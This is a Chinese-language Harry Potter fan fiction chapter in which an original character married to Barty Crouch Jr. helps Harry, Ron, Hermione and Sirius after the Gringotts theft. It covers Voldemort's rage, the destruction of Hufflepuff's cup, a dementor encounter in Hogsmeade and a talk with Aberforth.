两个调皮捣蛋的儿子经常会把自己弄得一塌糊涂,灰头土脸,然后跑进房子对着她撒娇,再鬼鬼祟祟的把泥巴蹭在她身上,每次她吓唬似的板着面孔,扬起手,鬼精鬼精的两个儿子就会抱着她的腿,甜言蜜语的哄她,说什么“好爱妈妈”、“想要妈妈陪”之类的话,如果不是他们的眼珠子滴溜滴溜乱转,她差一点儿就绷不住表情,想把他们抱起来蹭蹭脸颊了。 他们多么像他们的父亲,那个笼罩在雷雨夜,像1994年圣诞节的大雪覆盖了所有地方,让她的世界看起来像一个无边无际的冰湖的人。 从冰湖上伸出树木和奇怪的起伏,冰冻的、长斑的树枝伸向天空,像是从梵高的《橄榄园》里伸出的一双赤裸的、灵活的、诚挚的手,那是他的手,她喜欢的、甜蜜的、纠缠她的、戴着镣铐的,他的手。 他和她就黑湖上缓缓流淌的、咔嚓作响的两块浮冰,又像受尽折磨的两个人衣不蔽体,在严寒中蜷缩在一起。 他是狡猾的小巴蒂·克劳奇。 他让她整天魂牵梦萦。 太阳快下山时,小巴蒂大步穿过马尔福庄园的锻铁大门,进入了喷泉声中夕阳下的花园,他进了门厅,来到一个灯光昏暗的房间里。 “主人。”小巴蒂俯下身,吻了吻房间中那个皮肤像雪花一样白的男人的袍子,然后退到他身后。 伏地魔没有说话,此刻他的感觉很糟糕,因为他听说了一个不幸的消息,而小巴蒂的感觉更糟糕,因为他发现自己来的不是时候,他旁边的贝拉和卢修斯都在瑟瑟发抖。 没一会儿,脚步声匆匆传来,特拉弗斯和古灵阁的妖精惊慌失措的进了房间,食死徒们面向伏地魔围成半圆,而妖精颤抖着跪在他脚边的地板上。 “主人…古灵阁真的失窃了…”特拉弗斯恐惧的说,“我中了夺魂咒!” “你说什么?”伏地魔的声音高亢而冷酷,声音里无疑带着浓浓的愤怒。 “是真的…”妖精在不停发抖,他不敢正视高高在上的那双红眼睛。 “再说一遍!”伏地魔嘟囔道,“再说一遍!” “主、主人,”妖精结结巴巴的说,黑眼睛睁得圆圆的,充满了恐惧,“主、主人…我们试、试图阻、阻止他们…冒、冒名顶替者,主人…但是他们闯、闯进了…莱斯特兰奇家族的金、金库…” “冒名顶替者?”伏地魔重复道,“什么冒名顶替者?我以为古灵阁有办法识别冒名顶替者,不是吗?他们是谁?” “是…是…男、男孩儿波、波特和三、三个同伙…” “他们拿东西了?”伏地魔的声音越来越高,仿佛一种可怕的预感攫住了他,“告诉我!他们拿走了什么?” “一个…一个小金…小金杯,主、主人…” 愤怒与不相信的尖叫声响起,此刻伏地魔的声音在小巴蒂听起来就像是陌生人的一样,他好像发狂了,激怒了。 伏地魔的魔杖突然猛地从空中劈下,绿光喷射而出,跪着的妖精滚到地上,死了,小巴蒂的袍子几乎舞成了残影,快要追不上它主人的速度——他已经飞快的逃到了门口,他回头时,发现食死徒们吓得四散而逃,贝拉特里克斯和卢修斯拼命向门口冲来,把别人都甩在后面。 他们几个跑得快的挤在门外的走廊里,面面相觑,然后大着胆子顺着门缝往里看,伏地魔的魔杖一次一次的劈下,没跑掉的都被杀死了,一个没留,因为妖精给他带来了这个消息,因为听说波特闯进古灵阁拿走了金杯。 小巴蒂:我单方面宣布,我和我的主人be了。 “你又做了什么蠢事,没用的东西,”小巴蒂嘲讽了一句贝拉特里克斯,“主人都被你气的发狂了!我第一次见他发这么大火!你差点连累了我们所有人!” 成功逃出来的几个食死徒怕吵到门里不停踱步思索的伏地魔,纷纷小声谴责贝拉特里克斯,一时怨声载道。 贝拉特里克斯没有说话,只是呆呆的望着伏地魔,她的嘴巴蠕动着,脸也涨得通红,就像喝下了一剂苦苦的魔药。 食死徒们又等待了一会儿,暴跳如雷的伏地魔渐渐平静下来,他一脚踢开地上妖精的尸体,跨出房间。 他谁也没有理会,走出门厅,伴随着喷泉哗啦啦的水流声,他用蛇佬腔呼叫纳吉尼,大蛇游了出来,像长长的影子贴在他身边,然后幻影移形消失了。 “那我们现在怎么办?”特拉弗斯低声问目前地位最高的食死徒小巴蒂,“在这里等着主人回来?” “该干嘛干嘛去,主人有事会召唤我们的。”小巴蒂冷冷的说完,转身离开了马尔福庄园。 几个身影映在迅速暗下来的天空中,突然旋转着出现在普威特祖宅门口,其中一个打开了前门的铰链。 “谁?”大门里传来一个警惕的女声。 “是我,西里斯,还有哈利,罗恩和赫敏。” “R.A.B.的身份是什么?” “食死徒,我的弟弟。”小天狼星呼吸粗重了一瞬。 赫敏补充道,“英雄。” 莉安打开了大门,他们立刻冲了进来,身上一股浓浓的白鲜气息。 “你们受伤了?”莉安疑惑的看着他们,“那个妖精呢?怎么没一起回来?” “他偷了我们的宝剑,”罗恩嘀咕道,“那个骗人的小无赖…” “快,莉安,把托宾的宝剑借我们用用!”小天狼星喘着粗气说。 伊夫撇撇嘴,不耐烦的冲上楼,去了他藏宝贝的那个房间。 哈利从口袋里掏出一个小金杯,放在面前的茶几上,它在壁炉的火光下闪闪发亮,莉安顿时被吸引住了。 她拿起来放在掌心仔细观察,它上面刻着一只四爪动物,有两个精致的耳柄。 “獾,”莉安看着杯子上的雕饰,喃喃的说道,“这是…” “赫奇帕奇的金杯!”赫敏尖叫道,“为了拿到它,我们闯进了古灵阁,差点被复制咒压死或者被烈火咒烫死!” 莉安放下杯子,凝视着狼狈不堪的四人,面无表情的说,“厉害,你们是几百年来第一批闯进古灵阁的人,魔法史一定会有你们的一席之地。” “表姐,你也是,”罗恩高兴的说,“毕竟阿兹卡班也是几百年没人能越狱,作为第二个协助越狱者,你和克劳奇还有老克劳奇夫人也会载入史册吧?” “噢,这种好事当然少不了西里斯。”莉安硬邦邦的说。 这时,伊夫拿着剑下来了,他依依不舍的把剑递给了看起来最靠谱的小天狼星。 “试一试吧,”小天狼星轻轻对哈利说,“反正目前也没什么好办法。” 哈利点点头,西里斯举起剑对准了金杯,在莉安瞠目结舌的目光中,剑光一闪,宝剑突然刺出,金属声“当”的一响,接着是一声长长的尖叫,小天狼星提着宝剑,低头看着茶几上金杯的碎片。 哈利俯身捡起破碎的金杯,小天狼星把它贯穿了,还在冒出缕缕轻烟,而活在金杯中的那个东西已经消失了。 “莉安,我有事要请你帮忙。”他把碎片塞进口袋,郑重的说。 “啊?”莉安还没有回神,毕竟这是一件珍贵的历史遗物,就像格兰芬多的宝剑那样珍贵,她不能理解他们的行为。 “这个东西沾染了一个邪恶的黑魔法,这是我们必须要做的,也是邓布利多交代的任务,以后我再向你解释,如果有机会的话,”哈利继续说道,“我要你帮我们混进霍格沃茨,我猜霍格莫德一定有警戒。” “呃,”莉安吃惊的看着他,“没问题。” “他知道了,”哈利的声音陌生而低沉,“神秘人知道了我们闯进了古灵阁,他现在要检查另外几个东西在哪里,最后一个在霍格沃茨,我猜到了。” “什么?”罗恩冲他张着嘴巴,赫敏不禁坐直了身子,看起来很担心。 “你看到什么了?你是怎么知道的?” “我看到了他发现金杯的事,我——我在他的脑海里,他——”哈利通过伤疤看到了那场杀戮,“他气得要命,也吓坏了,他想不通我们怎么会知道的,现在他要去检查另外几个是否还在那里,他认为霍格沃茨的那个才是最安全的,因为斯内普在那里,如果我们要混进去,很难不被发现,我想他会最后检查那一个,但是他仍然可能在几小时之内赶到那里——” “那你看到在霍格沃茨的什么地方了吗?”罗恩问道。 “没有,他在想着要警告斯内普,没有想那东西确切在哪儿——” “等等,等等!”当哈利站起身,准备掏出隐形衣时,赫敏大喊道,“不能就这样去,没有一个计划,我们需要——” “我们需要采取行动,”哈利坚定的说,“一旦他发现那些东西都不见了,你能想象得出他会做什么?如果他认为霍格沃茨都不够安全,把它转移了怎么办?” “但是我们怎么进去呢?” “我们先去霍格莫德,”哈利说,“这需要莉安的帮助,然后再想办法,到隐形衣下面来,赫敏,我希望这次我们不要分开。” “但是它恐怕装不下我们——” “天快黑了,没人会注意到我们的脚。” 小天狼星对自己用了幻身咒,正在这时,小巴蒂突然大力推开了门,把其他人吓得都跳了起来。 “巴蒂?”莉安紧张的望着他。 “我差点儿死了,”小巴蒂对几人点头示意,皱着眉头说,“黑魔王今天大发雷霆,波特,你真让我刮目相看。” 莉安拉开他的手臂,快速帮他检查了身体,看他没有受伤才松了一口气。 “巴蒂,我要跟你说件事,我要去一趟霍格莫德。” “帮波特吗?” “相信我,我可以,”莉安拍了拍他的胸口,安抚道,“情况很紧急,不过你别担心,我不会有事的。” 小巴蒂认认真真的看了她好半晌,然后举起魔杖,“凤凰的眼泪飞来!” 他把水晶瓶仔细的塞进她的口袋,平静的说,“我知道我阻止不了你,黑魔王现在很生气,我怕你跟着波特会受伤,你拿好它,上次我没有用光,希望这次,你不要再让我难过了。” “不会的,我答应你…”莉安喃喃的说。 因为哈利急着去霍格沃茨,他们没时间多解释了,小巴蒂把他们送到了门口,吻了吻她的额头,这个吻灼热、绵长,带着珍重的意味。 “我安排好其他事就去找你。” “应该不用吧?” “不,我会去找你的,不然我放心不下。” 莉安点点头,她望着丈夫夜风中的身影,他的脸仍然那么英俊,她用指尖摩挲了一下,在他面颊两边各留下一个吻。 “我等你。” 赫敏走过去站在哈利和罗恩中间,哈利把隐形衣 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六七个食死徒朝他们跑来,他们迅速后退,然后拐进了最后的一条小街,仅差几英寸就被撞上了。 他们在黑暗中等待着,听着脚步声跑过来跑过去,食死徒举着魔杖搜寻,一道道魔杖的光在街上穿梭扫射。 一个食死徒叫了起来,“我们知道你在这儿,波特,你逃不了啦!我们会找到你的!” “用摄魂怪怎么样?”另一个食死徒大声喊道,“把它们放出来吧,它们会很快找到他的!” “黑魔王想要亲手杀死波特——” “——摄魂怪不会杀死他的!黑魔王要的是波特的命,不是他的魂儿,如果他先被吻过,再要杀死他就容易了!” 食死徒们嚷嚷着表示同意,哈利心头掠过一阵恐惧:驱散摄魂怪必须召来守护神,那样立刻就会暴露自己,此刻他只能祈祷莉安可以解决这些麻烦。 “要不试试幻影移形?”赫敏小声说。 她话音没落,他们就感到一股不同寻常的寒意从街上袭来,四周的灯光都被吸走了,就连星星也消失了,在伸手不见五指的黑暗中,需要穿越的空气似乎变成了坚实的固体:他们不能幻影移形了。 寒意一点一点的渗透进他们的肌肤,莉安示意他们离远点,于是小天狼星、哈利和罗恩、赫敏在小街上一步一步后退,顺着墙壁摸索,尽量不发出一点声音。 接着,摄魂怪在街角出现了,有十多个,无声无息的飘移过来,它们黑色的斗篷、结痂腐烂的手比周围的黑暗更加深浓,似乎感受到了恐惧的情绪,它们现在移动得更快了,发出令莉安憎恶的那种又长又慢、咯咯作响的呼吸声。 她举起了魔杖,“Expecto patronum! ” 三只银色的奶牛猫从她的魔杖里奔出来,舞蹈一般跳着往前冲去,摄魂怪们四处逃窜,从看不见的地方传来一声叫嚷。 “是他,就在那儿,就在那儿,我看见他的守护神了,四个脚的动物,那肯定是头鹿!” 摄魂怪退去了,星星又开始眨动眼睛,食死徒的脚步声越来越响,就在这时,哈利旁边传来门闩吱吱嘎嘎的声音,小街左侧的一扇门打开了,一个粗暴的声音小声喊道,“波特,快进来,快!莉安一个人能解决的!我认出了她的守护神!” 哈利听到这人认识莉安,忙不迭松了口气,他毫不犹豫的照办了,四个人冲进了敞开的门。 莉安见猪头酒吧的门轻轻的关上了,几乎没一点儿动静,她解除了幻身咒,走到大街上,神情淡漠的举着魔杖,眼神空洞而茫然。 “怎么啦?”她朝迎面跑来的食死徒喊道,“什么意思?你们竟敢用摄魂怪攻击我?” 食死徒们面面相觑,其中一个没见过莉安的迫不及待的吼道,“哪儿来的娘儿们!不知道遵守宵禁吗?谁让你跑到街上——” 另外一个食死徒抬手给了他一个大耳刮子,打断了他的叫骂。 他吭哧吭哧的说,“对不起,克劳奇夫人,我们不知道是您。” “噢?”莉安面无表情的问,“宵禁是什么?我不知道,难道我不能来霍格莫德喝杯酒吗?” “当然能,”食死徒赔笑道,“夫人,冒昧问一下,刚才您也听到了,有人触响了啸叫咒,您看到波特了吗?他刚才施放了守护神——” 莉安举起魔杖,念了呼神护卫,一只奶牛猫从魔杖里蹦了出来,围着那食死徒扭屁股踢腿,一副挑衅的模样,所有人都盯着它,脸上的表情渐渐石化。 “波特?我不知道,”她语调僵硬的说,“是我触响了啸叫咒,也是我施放了守护神,你打算怎么样?把我抓进阿兹卡班吗?” “不敢不敢…”他们脸色都发白了,连声说道。 “我看见的好像是这个,”另一个食死徒小声嘀咕道,“四个脚…” “对不起,夫人,我们弄错了,”第一个食死徒对着莉安点头哈腰,他讨好的说,“但是霍格莫德最近有宵禁,希望您配合…” “我知道了。”莉安不耐烦的说,往猪头酒吧的方向走去。 食死徒们松了一口气,毕竟这是他们头儿的女人,根本得罪不起,他们转身返回到大街上。 莉安走进猪头酒吧,立刻熟门熟路的闩上门,此刻在一根孤零零的蜡烛摇曳的微光下,她看见了猪头酒吧那破烂肮脏、散着锯末的吧台。 她走到柜台后面,又穿过一扇门,爬上了一道摇摇晃晃的木头楼梯,楼梯顶上是客厅,铺着破旧的地毯,还有个小小的壁炉,壁炉上方挂着一幅很大的油画,画上是一个金发的姑娘茫然而温柔的望着屋内。 罗恩已经从隐形衣下钻了出来,赫敏坐在一张破烂的椅子上,放心舒了口气,哈利把窗帘拉严了,他们刚才就在楼上紧张的看着莉安应付那些食死徒。 “你这个身份现在还真好用,”阿不福思咕哝着说,“克劳奇也算做了点儿好事,毕竟这些低级的食死徒都归法律执行司管,他是他们的头儿。” “唉,苦中作乐吧。”莉安心宽的安慰自己。 “谢谢你,”哈利对阿不福思说,“真不知该怎么感谢你和莉安,你们救了我们的命。” “没关系,哈利。”莉安笑了笑。 “你们这些该死的傻瓜,”阿不福思气哼哼的嘟囔着,挨个儿看看他们几个,“你们是怎么想的,竟然跑到这儿来了?西里斯,你也跟着他们胡闹!” “我们需要进入霍格沃茨,阿不福思,”小天狼星寸步不让,“我们有非去不可的理由。” “别犯傻。”阿不福思厉声说道。 “我们必须去。”哈利说。 “你们必须做的,”阿不福思向前探着身子说,“是尽量远远的离开这儿。” 这时,罗恩的肚子突然咕噜咕噜叫起来。 “唉…我饿了。”他像是替自己辩护似的说。 “我有吃的。”没等赫敏从包里掏出馅饼,阿不福思走出房间,片刻之后又回来了,拿来了一大块面包、几片奶酪和一罐蜂蜜酒,放在炉火前的一张小桌上。 几人暂时中断了对话,狼吞虎咽的又吃又喝,房间里突然安静下来,只有炉火的噼啪声,高脚酒杯的碰撞声,以及咀嚼食物的声音。 等他们吃得差不多时,莉安突然说话了。 “我去一楼等着巴蒂,他说要过来接我。” “那行,你去吧,我来说服他们,”阿不福思粗暴的说,“按我说,你也不该陪他们一起来这里,你在纵容他们!” 几人刚刚吃饱喝足,正昏昏欲睡的瘫坐在椅子上,听了这话,瞌睡都被赶走了。 “我承诺过邓布利多会尽我所能的帮助哈利,”莉安淡淡的说,“我不会食言,因为巴蒂做了错事,我不想未来他又会被送进阿兹卡班,这也是邓布利多承诺我的。” 火光照在阿不福思的眼镜上,满是污垢的镜片突然变成不透明的、夹板一样的亮白色,就像八眼巨蛛雾蒙蒙的眼睛。 “哦,是吗?”阿不福思说,“你准备为此付出生命的代价,是吗?你们都觉得他的任务令人愉快?简单易行?一群资历不够的年轻巫师用不着勉为其难就能完成的事情?” 小天狼星冷笑一声,赫敏看上去有些紧张。 “我必须这么做。”莉安生硬的说。 “阿不思想要许多东西,”阿不福思说,“在他贯彻他的宏伟计划时,人们经常受到伤害,我劝你们最好忘记他那些巧妙的计划,毕竟他已经去了一个这些都伤害不了他的地方,而你们并不欠他任何东西。” 我不能。”哈利说。 “为什么?” “我——”哈利觉得无言以对,他没法解释,便转守为攻,“可是你也在战斗呀,你在凤凰社里——” “现在不是了,”阿不福思说,“凤凰社完了,神秘人赢了,大势已去,那些假装不承认这些的人是在欺骗自己,波特。” “我不能离开,”哈利说,“我有任务——” “交给别人!” “不能,必须是我,他说得很清楚——” “哦,是吗?那么,他把一切都告诉你了吗,他对你诚实吗?” 哈利沉默了,他很想说“是的”,然而这个简短的单词怎么也不肯来到他的嘴边。 “但是邓布利多教授关心哈利,非常关心,他甚至还留给莉安一瓶凤凰的眼泪。”赫敏低声说。 “哦,是吗?”阿不福思说,“真是可笑,有多少阿不思非常关心的人最后下场可悲,还不如他当初不管他们呢。” “什么意思?”赫敏屏住呼吸问。 “不关你的事。”阿不福思粗暴的说。 “我想你不可能说服他们,阿不福思,”莉安摇摇头,她站起身,向门外走去,“我不想和你争论,我会等着巴蒂。” 门在关上,她不见了。